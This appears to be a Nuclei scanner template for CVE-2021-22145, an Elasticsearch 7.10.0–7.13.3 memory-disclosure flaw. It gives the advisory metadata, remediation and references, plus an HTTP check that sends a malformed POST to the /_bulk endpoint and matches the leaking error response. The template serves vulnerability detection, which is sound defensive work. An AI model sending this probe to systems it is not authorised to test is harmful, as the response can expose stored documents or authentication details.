id: CVE-2021-22145 info: name: Elasticsearch 7.10.0-7.13.3 - Information Disclosure author: dhiyaneshDk severity: medium description: ElasticSsarch 7.10.0 to 7.13.3 is susceptible to information disclosure. A user with the ability to submit arbitrary queries can submit a malformed query that results in an error message containing previously used portions of a data buffer. This buffer can contain sensitive information such as Elasticsearch documents or authentication details, thus potentially leading to data modification and/or execution of unauthorized operations. impact: | An attacker can exploit this vulnerability to gain unauthorized access to sensitive information. remediation: | Upgrade Elasticsearch to a version that is not affected by CVE-2021-22145. reference: - https://github.com/jaeles-project/jaeles-signatures/blob/e9595197c80521d64e31b846808095dd07c407e9/cves/elasctic-memory-leak-cve-2021-22145.yaml - https://packetstormsecurity.com/files/163648/ElasticSearch-7.13.3-Memory-Disclosure.html - https://discuss.elastic.co/t/elasticsearch-7-13-4-security-update/279177 - https://nvd.nist.gov/vuln/detail/CVE-2021-22145 - https://security.netapp.com/advisory/ntap-20210827-0006/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N cvss-score: 6.5 cve-id: CVE-2021-22145 cwe-id: CWE-209 epss-score: 0.96315 epss-percentile: 0.99434 cpe: cpe:2.3:a:elastic:elasticsearch:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: elastic product: elasticsearch tags: cve2021,cve,elasticsearch,packetstorm,elastic http: - method: POST path: - '{{BaseURL}}/_bulk' body: | @ headers: Content-Type: application/json matchers-condition: and matchers: - type: word part: body words: - 'root_cause' - 'truncated' - 'reason' condition: and - type: status status: - 400 # digest: 4b0a0048304602210098307f0d9864b6ef8b78c09d65f28408febcd72132d90af816583c5da8821187022100e4a4f0c9e023e867364b80397bf386fd0b35bed194250213a952937edcdc97b7:922c64590222798bb761d5b6d8e72950